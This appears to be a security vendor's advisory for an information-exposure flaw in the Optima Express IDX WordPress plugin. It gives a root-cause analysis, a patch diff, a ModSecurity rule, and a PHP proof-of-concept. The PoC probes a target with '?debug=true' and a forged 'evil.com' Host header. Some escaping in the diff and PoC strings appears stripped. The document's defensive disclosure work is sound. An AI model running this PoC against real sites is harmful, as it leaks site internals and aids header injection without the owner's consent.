Published : November 30, 2026

CVE-2026-129005: Optima Express IDX <= 9.0.2 Unauthenticated Sensitive Information Exposure PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 200
Vulnerable Version 9.0.2
Patched Version 9.0.3
Disclosed November 29, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-129005: The Optima Express IDX plugin for WordPress, versions up to and including 9.0.2, exposes sensitive information to unauthenticated attackers. The vulnerability resides in multiple components that log debug data and forward unsanitized request parameters. It carries a CVSS score of 5.3 (Medium) and CWE-200.

The root cause spans several files. In iHomefinderLogger.php, the isDebug() function enables debug mode based solely on a visitor-supplied ‘debug=true’ query parameter or the DEBUG constant, without requiring WP_DEBUG or administrator privileges. The debug() method then echoes sensitive data directly to the page using var_dump(). Additionally, iHomefinderCacheUtility.php logs the full cached response, which includes upstream request URLs. iHomefinderRequestor.php forwards the visitor’s ‘debug’ parameter to the iHomefinder service, causing it to return internal error details. iHomefinderStateManager.php builds URLs from the untrusted Host header and sets cookies with unsanitized values. iHomefinderUtility.php fails to encode parameter names in URLs. iHomefinderShortcodeDispatcher.php does not strip dangerous characters from shortcode attributes. iHomefinderAbstractVirtualPage.php outputs a visitor-controlled cookie value without validation. The admin page iHomefinderAdminCommunityPages.php processes GET requests for page creation without nonce checks.

An unauthenticated attacker can append ‘?debug=true’ to any plugin shortcode page. The plugin echoes debug output containing full request URLs, cached responses, and internal error details. Attackers can also manipulate the Host header to inject malicious URLs into cookies and links, or set a ‘last_search_url’ cookie to a javascript: URI for XSS. The admin page creation can be triggered via GET request, potentially creating pages with attacker-controlled titles.

The patch fixes these issues comprehensively. In iHomefinderLogger.php, isDebug() now requires WP_DEBUG to be true and either the DEBUG constant or an administrator capability (manage_options) along with debug=true. Debug output is sent to error_log() instead of the page. iHomefinderCacheUtility.php no longer logs cached values. iHomefinderRequestor.php removes any ‘debug’ parameter before forwarding requests. iHomefinderStateManager.php derives the origin from home_url(), validates subscriber IDs, and properly encodes cookie values. iHomefinderUtility.php encodes parameter names. iHomefinderShortcodeDispatcher.php strips characters that could break out of attributes. iHomefinderAbstractVirtualPage.php validates the previous URL with wp_validate_redirect() and escapes output. iHomefinderAdminCommunityPages.php enforces POST and nonce checks for page creation. These changes prevent information exposure and related attacks.

If exploited, this vulnerability exposes sensitive configuration data, internal URLs, cached API responses, and potentially user information to unauthenticated attackers. This information can aid further attacks, such as targeted phishing or discovery of additional vulnerabilities. The Host header injection and cookie manipulation can lead to XSS or open redirects, increasing the attack surface.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/optima-express/adminPage/iHomefinderAdminCommunityPages.php
+++ b/optima-express/adminPage/iHomefinderAdminCommunityPages.php
@@ -18,14 +18,17 @@

     protected function getContent()
     {
-        if ($this->isUpdated()) {
-            $title = iHomefinderUtility::getInstance()->getRequestVar("title");
-            $cityZip = iHomefinderUtility::getInstance()->getRequestVar("cityZip");
-            $propertyType = iHomefinderUtility::getInstance()->getRequestVar("propertyType");
-            $bed = iHomefinderUtility::getInstance()->getRequestVar("bed");
-            $bath = iHomefinderUtility::getInstance()->getRequestVar("bath");
-            $minPrice = iHomefinderUtility::getInstance()->getRequestVar("minPrice");
-            $maxPrice = iHomefinderUtility::getInstance()->getRequestVar("maxPrice");
+        // Only the real form creates a page: a POST carrying the nonce that settings_fields() prints.
+        // A GET, or a POST without a valid nonce, never creates a page (CSRF).
+        if ($this->isUpdated() && isset($_SERVER["REQUEST_METHOD"]) && $_SERVER["REQUEST_METHOD"] === "POST") {
+            check_admin_referer(iHomefinderConstants::OPTION_GROUP_COMMUNITY_PAGES . "-options");
+            $title = $this->getPostValue("title");
+            $cityZip = $this->getPostValue("cityZip");
+            $propertyType = $this->getPostValue("propertyType");
+            $bed = $this->getPostValue("bed");
+            $bath = $this->getPostValue("bath");
+            $minPrice = $this->getPostValue("minPrice");
+            $maxPrice = $this->getPostValue("maxPrice");
             $this->updateCommunityPages($title, $cityZip, $propertyType, $bed, $bath, $minPrice, $maxPrice);
         }
         ?>
@@ -123,6 +126,19 @@
         <?php
     }

+    /**
+     * A form value from $_POST only, left slashed as WordPress delivers it, because
+     * wp_insert_post() unslashes the post it is given.
+     */
+    private function getPostValue($name)
+    {
+        $result = null;
+        if (isset($_POST[$name]) && is_scalar($_POST[$name])) {
+            $result = (string) $_POST[$name];
+        }
+        return $result;
+    }
+
     private function updateCommunityPages($title, $cityZip, $propertyType, $bed, $bath, $minPrice, $maxPrice)
     {
         $shortCode = iHomefinderShortcodeDispatcher::getInstance()->buildSearchResultsShortCode($cityZip, $propertyType, $bed, $bath, $minPrice, $maxPrice);
--- a/optima-express/iHomefinder.php
+++ b/optima-express/iHomefinder.php
@@ -10,7 +10,7 @@
  * Includes search and listing pages, widgets and shortcodes.
  * Requires an IDX account from iHomefinder.
  * Get a paid account with data from your MLS.
- * Version: 9.0.2
+ * Version: 9.0.3
  * Author: ihomefinder
  * Author URI: http://www.ihomefinder.com
  * License: GPLv2 or later
--- a/optima-express/iHomefinderCacheUtility.php
+++ b/optima-express/iHomefinderCacheUtility.php
@@ -37,12 +37,12 @@
         $result = null;
         if (self::CACHE_ENABLED) {
             $cacheKey = $this->getKey($key);
-            $this->logger->debug("get cached version cacheKey " . $cacheKey);
             $result = get_transient($cacheKey);
             if ($result === false) {
                 $result = null;
             }
-            $this->logger->debug($result);
+            // Never log the cached value: it is a whole upstream response, including the request URL.
+            $this->logger->debug("cache " . ($result === null ? "miss" : "hit") . " cacheKey " . $cacheKey);
         }
         return $result;
     }
--- a/optima-express/iHomefinderConstants.php
+++ b/optima-express/iHomefinderConstants.php
@@ -11,7 +11,7 @@
 interface iHomefinderConstants
 {

-    const VERSION = "9.0.2";
+    const VERSION = "9.0.3";
     const VERSION_NAME = "Optima Express";
     const EXTERNAL_URL = "www.idxhome.com/service/wordpress";
     //Control Panel sign-in pages (MAX-4708, D23); the test host is used only in a non-production environment
--- a/optima-express/iHomefinderLogger.php
+++ b/optima-express/iHomefinderLogger.php
@@ -22,18 +22,27 @@
         return self::$instance;
     }

+    /**
+     * Debug logging needs WP_DEBUG, plus either the DEBUG constant or a site administrator who
+     * sent debug=true. A visitor's request flag alone never turns it on.
+     */
     private function isDebug()
     {
-        $debugValue = iHomefinderUtility::getInstance()->getRequestVar("debug");
-        $debug = false;
-        if ($debugValue === "true" || iHomefinderConstants::DEBUG) {
-            $debug = true;
+        if (!defined("WP_DEBUG") || !WP_DEBUG) {
+            return false;
+        }
+        if (iHomefinderConstants::DEBUG) {
+            return true;
         }
-        return $debug;
+        if (!function_exists("current_user_can") || !current_user_can("manage_options")) {
+            return false;
+        }
+        return iHomefinderUtility::getInstance()->getRequestVar("debug") === "true";
     }
-
+
     /**
-     * Dumps messages to the screen if debugging on
+     * Writes messages to the PHP error log if debugging is on. Debug output never goes to the
+     * page, not even for an administrator.
      *
      * @param mixed $message The message to be logged
      *
@@ -42,8 +51,10 @@
     public function debug($message)
     {
         if ($this->isDebug()) {
-            echo esc_html(microtime(true)) . ": ";
-            var_dump($message);
+            if (!is_string($message)) {
+                $message = print_r($message, true);
+            }
+            error_log("[Optima Express debug] " . microtime(true) . ": " . $message);
         }
     }
 }
--- a/optima-express/iHomefinderRequestor.php
+++ b/optima-express/iHomefinderRequestor.php
@@ -96,7 +96,8 @@

             $this->addParameter("leadCaptureSupport", true);
             $this->addParameter("phpStyle", true);
-
+
+            $this->removeDebugParameter();
             $requestUrl = $this->utility->buildUrl($requestUrl, $this->getParameters());

             $ihfid = iHomefinderUrlFactory::getInstance()->getBaseUrl() . ";" . "WordpressPlugin";
@@ -244,7 +245,8 @@
         $this->addParameter("method", "handleRequest");
         $this->addParameter("viewType", "json");
         $this->addParameter("phpStyle", true);
-
+        $this->removeDebugParameter();
+
         $requestArgs = array(
         "timeout" => "200",
         "body" => $this->getParameters(),
@@ -439,6 +441,22 @@
         return $this;
     }

+    /**
+     * Never forward a visitor's debug flag to the iHomefinder service, which returns internal
+     * error detail when it is set. Matched case-insensitively.
+     */
+    private function removeDebugParameter()
+    {
+        if (is_array($this->parameters)) {
+            foreach (array_keys($this->parameters) as $name) {
+                if (strtolower((string) $name) === "debug") {
+                    unset($this->parameters[$name]);
+                }
+            }
+        }
+        return $this;
+    }
+
     public function addParameters($parameters)
     {
         if (is_array($parameters)) {
--- a/optima-express/iHomefinderShortcodeDispatcher.php
+++ b/optima-express/iHomefinderShortcodeDispatcher.php
@@ -890,6 +890,9 @@
         $result .= $slug;
         if (is_array($attributes)) {
             foreach ($attributes as $name => $value) {
+                // Strip the characters that could end the attribute, the shortcode or open a tag. Not esc_attr():
+                // WordPress never entity-decodes shortcode attributes, so a name like Coeur d'Alene would break.
+                $value = str_replace(array(""", "[", "]", "<", ">", "\"), "", (string) $value);
                 $result .= " " . $name . "="" . $value . """;
             }
         }
--- a/optima-express/iHomefinderStateManager.php
+++ b/optima-express/iHomefinderStateManager.php
@@ -149,9 +149,21 @@

     public function setSubscriberId($value)
     {
-        if(!empty($value)) {
-            $this->setCookie(self::SUBSCRIBER_ID, $value);
+        if(self::isValidSubscriberId($value)) {
+            $this->setCookie(self::SUBSCRIBER_ID, (string) $value);
+        }
+    }
+
+    /**
+     * A subscriber id is the iHomefinder subscriber's numeric id. Anything else is rejected,
+     * not coerced, because the request value is visitor-controlled.
+     */
+    public static function isValidSubscriberId($value)
+    {
+        if(is_int($value)) {
+            return $value > 0;
         }
+        return is_string($value) && preg_match('/^[1-9][0-9]{0,18}$/', $value) === 1;
     }

     public function hasSubscriberId()
@@ -230,13 +242,15 @@

     public function getCurrentUrl()
     {
-        $scheme = "http";
-        if(is_ssl()) {
-            $scheme = "https";
-        }
-        $host = $_SERVER["HTTP_HOST"];
-        $requestUri = $_SERVER["REQUEST_URI"];
-        $result = $scheme . "://" . $host . $requestUri;
+        //The origin comes from the site's own home URL, never the visitor-supplied Host header.
+        //REQUEST_URI already includes any subdirectory, so only the scheme, host and port are taken.
+        $home = wp_parse_url(home_url());
+        $origin = $home["scheme"] . "://" . $home["host"];
+        if(!empty($home["port"])) {
+            $origin .= ":" . $home["port"];
+        }
+        $requestUri = isset($_SERVER["REQUEST_URI"]) ? wp_unslash($_SERVER["REQUEST_URI"]) : "/";
+        $result = esc_url_raw($origin . $requestUri);
         return $result;
     }

@@ -332,12 +346,18 @@
         $expireTime = time() + self::COOKIE_TIMEOUT;
         if(headers_sent()) {
             //WordPress does not buffer the response so we use JS to set cookies on shortcode requests because headers have already been sent
+            //Name and value are URL-encoded, as setcookie() does, and then JSON-encoded, so no request or remote data can
+            //close the script block. PHP URL-decodes $_COOKIE on read, so readers see the original value.
+            $cookie = wp_json_encode(
+                rawurlencode((string) $name) . "=" . rawurlencode((string) $value),
+                JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT
+            );
             $value = '
 				<script type="text/javascript">
 					(function() {
 						var expire = new Date();
 						expire.setSeconds(expire.getSeconds() + ' . self::COOKIE_TIMEOUT . ');
-						document.cookie = "' . $name . '=' . $value . '; expires=" + expire.toUTCString() + "; path=/";
+						document.cookie = ' . $cookie . ' + "; expires=" + expire.toUTCString() + "; path=/";
 					})();
 				</script>
 			';
--- a/optima-express/iHomefinderUtility.php
+++ b/optima-express/iHomefinderUtility.php
@@ -76,7 +76,8 @@
                 if (substr($url, -1) !== "?" && substr($url, -1) !== "&") {
                     $url .= "&";
                 }
-                $url .= $key . "=" . urlencode(trim($value));
+                // Parameter names come from visitor requests too, so encode them like the values.
+                $url .= rawurlencode((string) $key) . "=" . urlencode(trim($value));
             }
         }
         return $url;
--- a/optima-express/virtualPage/iHomefinderAbstractVirtualPage.php
+++ b/optima-express/virtualPage/iHomefinderAbstractVirtualPage.php
@@ -128,6 +128,10 @@
     protected function getPreviousSearchLink()
     {
         $previousUrl = $this->stateManager->getLastSearchUrl();
+        if (!empty($previousUrl)) {
+            // The cookie is visitor-controlled: keep it only if it is an http(s) URL on this site.
+            $previousUrl = wp_validate_redirect(esc_url_raw(wp_unslash((string) $previousUrl)), "");
+        }
         $text = null;
         if (empty($previousUrl)) {
             $previousUrl = iHomefinderUrlFactory::getInstance()->getListingsSearchFormUrl(true);
@@ -139,7 +143,7 @@
         }
         $result = null;
         if (!empty($text) and !empty($previousUrl)) {
-            $result = "<a href="" . $previousUrl . "">< " . $text . "</a>";
+            $result = "<a href="" . esc_url($previousUrl) . "">< " . $text . "</a>";
         }
         return $result;
     }

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-129005
SecRule REQUEST_URI "@rx ^/" 
  "id:129005,phase:2,deny,status:403,chain,msg:'CVE-2026-129005 via Optima Express debug parameter',severity:'CRITICAL',tag:'CVE-2026-129005'"
  SecRule ARGS_GET:debug "@streq true" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-129005 - Optima Express IDX <= 9.0.2 - Unauthenticated Sensitive Information Exposure

$target_url = 'http://example.com'; // Change to the target WordPress site

// Step 1: Request a page with the debug parameter to trigger debug output
$url = $target_url . '/?debug=true';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    // Look for debug output patterns (microtime and var_dump)
    if (preg_match('/[0-9]+.[0-9]+: /', $response) || strpos($response, 'string(') !== false || strpos($response, 'array(') !== false) {
        echo "[+] Vulnerability confirmed: Debug output detected on page with ?debug=truen";
        // Extract and display a snippet of the debug output
        $pos = strpos($response, 'string(');
        if ($pos === false) $pos = strpos($response, 'array(');
        if ($pos !== false) {
            echo "Debug output snippet: " . substr($response, $pos, 200) . "...n";
        }
    } else {
        echo "[-] No debug output found. The plugin may be patched or debug mode is disabled.n";
    }
} else {
    echo "[-] Failed to access the page. HTTP code: $http_coden";
}

// Step 2: Attempt Host header injection to poison cookies or links
// Send a request with a malicious Host header and check if it appears in Set-Cookie or response
$malicious_host = 'evil.com';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Host: ' . $malicious_host));
curl_setopt($ch, CURLOPT_HEADER, true);
$response_with_headers = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200) {
    // Check if the malicious host appears in Set-Cookie headers
    if (stripos($response_with_headers, 'Set-Cookie:') !== false && stripos($response_with_headers, $malicious_host) !== false) {
        echo "[+] Host header injection possible: Malicious host reflected in cookies.n";
    }
    // Check if the malicious host appears in the body (e.g., in links)
    if (stripos($response_with_headers, $malicious_host) !== false) {
        echo "[+] Host header injection possible: Malicious host reflected in response body.n";
    }
}

// Step 3: Check for exposure of sensitive information via the cache debug log
// This is more complex and may require specific conditions; we'll check for debug output again
// but with a focus on cached data. For simplicity, we'll just note that the debug output may contain such data.

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.